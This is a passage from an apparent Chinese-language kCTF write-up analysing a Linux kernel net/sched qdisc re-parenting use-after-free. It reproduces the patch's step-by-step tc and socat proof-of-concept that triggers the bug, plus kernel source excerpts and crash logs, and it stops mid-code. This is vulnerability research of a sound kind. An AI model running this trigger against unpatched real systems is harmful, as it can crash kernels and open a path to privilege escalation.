背景
今年我致力于在多个方面提升技术能力,其中一部分是审查kCTF参赛作品。这帮助我了解当前项目中哪些子系统产生最多漏洞,并让我及时掌握需要关注的错误模式。同时,我也可以毫无顾忌地借鉴选手的利用技术。
最近许多漏洞来自/net/sched,因此我正在查看该子系统的补丁,发现一个声称存在可利用UAF的补丁。该补丁在此处。当时我没有意识到,补丁中提到的漏洞发现者(可能也是利用者)“Lion Ackermann”是一名kCTF选手。
我检查后发现,当我找到该补丁时,kCTF中的COS 105实例仍然易受此漏洞影响。当时我停止了调查,但后来了解到LTS实例也同样易受攻击。我不完全清楚规则细节,但根据公开的kCTF响应表格,该漏洞在12月被作为0day条目利用。然而,当我开始研究时,表格中尚无此漏洞的补丁链接,实例仍未修复。
此时我开始尝试理解并可能利用该漏洞。我的目标是通过1day条目对COS 105实例进行补丁间隙利用。开始调查后不久,宣布了新版本,但幸运的是新实例同样易受攻击,因为它们也未修复。由于COS 105槽位未被利用,且即将到来的COS 105实例也会易受攻击,我错误地认为无需着急,实例可能在我缓慢推进项目期间保持未利用状态。事后看来,我本应更加努力,因为COS 105实例在我完成前几小时被利用了。无论如何,这可能已经无关紧要,因为该漏洞之前已在项目中作为0day被利用,但仍不确定。总之,我遇到了一些自设的障碍,严重阻碍了进展,后续会详细讨论。下次我会更努力,投入更多时间,而不是只在晚上零散工作几小时。
补丁分析
补丁文本描述非常详细,并提供了很好的概念验证来重现错误条件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann能够通过以下脚本创建可被滥用于权限提升的UAF
步骤1. 创建根qdisc
tc qdisc add dev lo root handle 1:0 drr
步骤2. 用于数据包聚合的类,用于演示UAF
tc class add dev lo classid 1:1 drr
步骤3. 用于嵌套的类
tc class add dev lo classid 1:2 drr
步骤4. 用于嫁接qdisc的类
tc class add dev lo classid 1:3 drr
步骤5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
步骤6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
步骤7.
tc class add dev lo classid 3:1 drr
步骤8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
步骤9. 显示类/qdisc布局
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
步骤10. 触发漏洞 <=== 由此补丁阻止
tc qdisc replace dev lo parent 1:3 handle 4:0
步骤11. 再次重新显示qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
观察:a) 尽管有替换请求,4:0的父级并未改变。只能有一个父级。b) 4:0的引用计数增加了2 c) 类1:3和3:1都指向它。
步骤12. 发送一个数据包到plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
步骤13. 发送一个数据包到嫁接的fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
步骤14. 触发UAF
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
"replace"的语义是在同一节点上进行删除/添加,而不是如步骤10中从一个节点(3:1)删除并添加到另一个节点(1:3)。
虽然我们可以通过更复杂的方法"修复",但可能会对预期产生影响,因此补丁采取预防性方法"禁止此类配置"。
|
这里的漏洞是qdisc可以被“重新父级化”到不是其原始父级的类。这种逻辑本不应存在。当你创建这些可以附加qdisc的类时,会分配一个默认qdisc,之后你可以将新qdisc嫁接到类上以替换当前qdisc。因此,你可以看到首先创建了类1:3,然后在步骤8中将qdisc嫁接到其上。这将释放默认qdisc,并实例化此qdisc替代它,并将其附加到类。
然而,该漏洞允许你通过使用与3:1相同的嫁接机制将qdisc(句柄4:0)嫁接到不同的类上,但现在我们将同一个qdisc嫁接到两个类上。补丁指出了此漏洞的副作用基本上是:
- 从qdisc 4:0的角度来看,其父级仍然是类3:1,这从未改变
- 从类3:1的角度来看,qdisc 4:0仍然是其子qdisc
- 从类1:3的角度来看,qdisc 4:0现在成为其子qdisc
- qdisc上的引用计数现在为2:1来自初始嫁接到3:1,另1来自重新父级嫁接到1:3
这些就是漏洞产生的副作用。此时,我对/net/sched、类、qdisc等一无所知,因此在此过程中的学习曲线非常陡峭。我一生中从未处理过这个子系统。但在大量谷歌搜索和ChatGPT帮助后,我能够按照补丁中的说明使用tc实用程序重现PoC。我完成了所有步骤,当到达步骤14该触发UAF时,在删除类1:3后得到了以下错误信息:
1
2
3
4
|
[ 10.519000] ------------[ cut here ]------------
[ 10.521778] list_del corruption, ffff8fdd50a008d0->next is NULL
[ 10.525296] WARNING: CPU: 0 PID: 784 at lib/list_debug.c:49 __list_del_entry_valid+0x59/0xd0
...
|
此时我很兴奋,因为我认为我已经重现了漏洞并导致了UAF,很快就能寻找利用漏洞的方法;然而我大错特错。所有这些错误信息只是警告存在无效的list_del操作。在我的开发环境中,这足以导致内核恐慌。我启用了KASAN,如果有UAF,我会看到不同的错误信息,所以现在我非常困惑。进一步检查后,我甚至没有达到PoC中删除类1:1的步骤,那么发生了什么?为什么我的PoC在这个list_del操作处停止?是时候深入细节了。
首先,为什么我们会遇到错误的list_del操作?我们对此漏洞或子系统仍然知之甚少。我基本上只是重现了补丁中的PoC,几乎没有进行任何自己的批判性思考。经过大量printk调试后,我终于找到了无效list_del的来源。
链表漏洞分析
首先,为什么list_del会报错?事实证明,常见的内核配置是CONFIG_DEBUG_LIST,它将列表操作API(如list_del)转换为更谨慎的版本。list_del的任务是从链表中移除list_head节点。如果你能可视化内核中的链表,它本质上是一个节点列表。每个节点包含prev和next指针,分别引用列表中的前一个和下一个节点。因此,调试列表配置有一些健全性检查,确保当你从列表中移除节点时,节点本身没有损坏。当我们删除类1:3时,在该过程中发生了某些事情,我们最终到达这里:
1
2
3
4
5
6
7
|
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
|
似乎在__list_del_entry_valid检查中出现了问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
static __always_inline bool __list_del_entry_valid(struct list_head *entry)
{
bool ret = true;
if (!IS_ENABLED(CONFIG_DEBUG_LIST)) {
struct list_head *prev = entry->prev;
struct list_head *next = entry->next;
if (likely(prev->next == entry && next->prev == entry))
return true;
ret = false;
}
ret &= __list_del_entry_valid_or_report(entry);
return ret;
}
|
这又调用了__list_del_entry_valid_or_report,因为我们确实启用了CONFIG_DEBUG_LIST:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
bool __list_del_entry_valid_or_report(struct list_head *entry)
{
struct list_head *prev, *next;
prev = entry->prev;
next = entry->next;
if (CHECK_DATA_CORRUPTION(next == NULL,
"list_del corruption, %px->next is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(prev == NULL,
"list_del corruption, %px->prev is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(next == LIST_POISON1,
"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
entry, LIST_POISON1) ||
CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
entry, LIST_POISON2) ||
CHECK_DATA_CORRUPTION(prev->next != entry,
"list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
entry, prev->next, prev) ||
CHECK_DATA_CORRUPTION(next->prev != entry,
"list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
entry, next->prev, next))
return false;
return true;
}
|
那么发生了什么?我们对/net/sched代码还不太了解,但似乎因为我们有CONFIG_DEBUG_LIST,所以对要从列表中删除的节点进行了检查。如果你有以下链表:
列表中的每个节点都会指向其邻居,例如,对于节点D,它将在prev字段中包含节点C,在next字段中包含节点A,因为列表是循环的。这里的有效性检查确保,例如,如果你想删除节点D,节点C说它的下一个节点是D,节点A说它的前一个节点是D。这很合理。但在我们的list_del WARN()横幅中,我们看到此函数返回false,因为"list_del corruption, ffff8fdd50a008d0->next is NULL"。因此,我们甚至无法检查相邻节点的健全性,因为我们的节点D甚至没有next字段值,它是NULL。
好的,所以我们未能通过此list_del,PoC就在这里死亡,因为当我们删除类1:3时,在/net/sched中某个时刻提交删除的list_head要么已损坏,要么从未初始化。现在让我们弄清楚当此漏洞发生时/net/sched中发生了什么,看看是否能弄清楚发生了什么。
Sched漏洞分析
深入/net/sched代码后,清楚地知道为什么我们要删除的节点处于错误状态。在PoC中,我们创建了一个类1:1并为其分配了一个plug类型的qdisc。plug qdisc旨在字面上停止数据包出队,直到给出明确的释放命令或删除,它会在数据包"入队"时堵塞qdisc。因此,如果我们向类1:1发送数据包,该数据包将被入队到1:1的qdisc中,这是一个plug类型,意味着这些数据包将停留在那里,直到我们明确要求它们。此时,很明显,确保数据包保持在plug qdisc中对PoC至关重要。但我们的错误list_head节点呢?很明显,在向类1:1和plug qdisc发送数据包后,我们向1:3发送数据包。类1:3是当我们执行重新父级漏洞时,将已存在的pfifo qdisc从3:1嫁接到其上的类。让我们看看当我们向类(即类1:3)发送数据包时会发生什么:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct drr_sched *q = qdisc_priv(sch);
struct drr_class *cl;
int err = 0;
bool first;
cl = drr_classify(skb, sch, &err); // [1]
if (cl == NULL) {
if (err & __NET_XMIT_BYPASS)
qdisc_qstats_drop(sch);
__qdisc_drop(skb, to_free);
return err;
}
first = !cl->qdisc->q.qlen; // [2]
err = qdisc_enqueue(skb, cl->qdisc, to_free); // [3]
if (unlikely(err != NET_XMIT_SUCCESS)) {
if (net_xmit_drop_count(err)) {
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}
if (first) {
list_add_tail(&cl->alist, &q->active); // [4]
cl->deficit = cl->quantum;
}
sch->qstats.backlog += len;
sch->q.qlen++;
return err;
}
|
这里发生了几件重要的事情。我还没有提到此处的drr方面,它代表"Deficit Round Robin",是用于确定在此PoC中如何调度数据包传递的算法类型。DRR算法的细节不是非常重要,但根据我学到的高级知识,它基本上跟踪当前"活动"的类,即已入队数据包的类,并尝试基于可配置的"deficits"传递数据包。这样,我们确保数据包以对我们作为最终用户有意义的方式分布,以塑造流量或保证某种服务质量。当在步骤1中设置的qdisc在接口级别入队数据包(我们使用环回)时,会调用此函数:
[1]:在此步骤中,我们有一个数据包,并尝试使用drr_classify函数将数据包分类到属于根qdisc层次结构的现有drr类之一
[2]:如果我们找到与数据包匹配的类,即优先级匹配我们设置的类如1:3,我们检查类1:3的qdisc是否已入队任何数据包,如果没有,则first标志设置为true
[3]:类1:3的qdisc入队一个数据包
[4]:如果这是该类的第一个数据包,则需要将此数据包放置在drr调度器的活动列表上,该列表包含每个已入队数据包的drr类的list_head结构,以便调度器可以应用算法并确保适当出队数据包
这里的一切都有意义,在打印出类和qdisc指针值并将它们与设置层次结构时PoC中的分配对齐后,这里似乎没有任何问题。让我们看看当list_del WARN()发生时回溯中的函数:
1
2
3
4
5
6
7
8
9
10
11
|
[ 10.602011] ? __warn+0x81/0x100
[ 10.603979] ? __list_del_entry_valid+0x59/0xd0
[ 10.606673] ? report_bug+0x99/0xc0
[ 10.608785] ? handle_bug+0x34/0x80
[ 10.610901] ? exc_invalid_op+0x13/0x60
[ 10.613228] ? asm_exc_invalid_op+0x16/0x20
[ 10.615710] ? __list_del_entry_valid+0x59/0xd0
[ 10.618473] drr_qlen_notify+0x12/0x50
[ 10.620778] qdisc_tree_reduce_backlog+0x84/0x160
[ 10.623558] drr_delete_class+0x104/0x210
[ 10.625959] tc_ctl_tclass+0x488/0x5a0
|
因此,我们从对drr_delete_class的调用进入drr_qlen_notify:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static int drr_delete_class(struct Qdisc *sch, unsigned long arg,
struct netlink_ext_ack *extack)
{
struct drr_sched *q = qdisc_priv(sch);
struct drr_class *cl = (struct drr_class *)arg;
if (cl->filter_cnt > 0)
return -EBUSY;
sch_tree_lock(sch);
qdisc_purge_queue(cl->qdisc); // [1]
qdisc_class_hash_remove(&q->clhash, &cl->common); // [2
|